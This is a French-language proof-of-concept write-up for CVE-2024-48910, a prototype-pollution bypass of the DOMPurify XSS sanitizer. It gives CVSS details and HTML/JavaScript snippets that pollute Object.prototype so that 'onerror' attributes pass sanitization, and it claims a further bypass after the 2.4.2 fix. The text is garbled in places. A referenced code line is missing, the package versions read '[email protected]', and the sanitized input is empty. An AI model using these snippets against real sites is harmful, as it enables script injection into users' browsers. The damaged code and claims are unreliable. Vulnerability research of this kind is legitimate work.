
Exploit de preuve de concept pour CVE-2024-48910, démontrant un contournement de la pollution de prototype du sanitizer XSS DOMPurify pour exécuter du JavaScript arbitraire via des attributs HTML conçus.
CVE-2024-48910 DOMPurify, un assainisseur XSS ultra-rapide et ultra-tolérant, fonctionnant uniquement sur le DOM pour HTML, MathML et SVG, a été jugé vulnérable à la pollution des prototypes (CVE-2024-48910). La vulnérabilité a été découverte et corrigée dans la version 2.4.2, la divulgation initiale ayant eu lieu le 31 octobre 2024 .
La vulnérabilité de pollution des prototypes dans DOMPurify pourrait permettre aux attaquants de falsifier les attributs du prototype d'objets, conduisant potentiellement à des contournements de sécurité et à des modifications non autorisées du comportement de l'application. Le score CVSS élevé indique un impact potentiel significatif sur la sécurité du système, affectant particulièrement la confidentialité et l'intégrité des données.
La vulnérabilité a obtenu un score de base CVSS v3.1 de 9.1 (CRITIQUE) avec le vecteur CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N. Cela indique que la vulnérabilité peut être exploitée à distance avec une faible complexité d'attaque, ne nécessite aucun privilège ni interaction de l'utilisateur, et peut avoir un impact élevé sur la confidentialité et l'intégrité, bien que sans affecter la disponibilité.
À partir des journaux de modifications, vous pouvez voir qu'un cas de test a été ajouté impliquant .__proto__., ce qui suggère qu'il s'agit d'une injection de prototype.

La ligne suivante qui a été ajoutée était, ce qui signifie qu'avant, elle évaluait à true pour tout ce qui était truthy.

Protection XSS contournée - onerror est désormais "autorisé"
<script>Object.prototype.hasOwnProperty=Object</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>
Malgré la mise à niveau vers 2.4.2, je peux toujours faire apparaître alert()... il suffit de définir
Object.prototype.hasOwnProperty = () => true; pour contourner la protection LOL!!
<script>Object.prototype.hasOwnProperty = () => true;</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>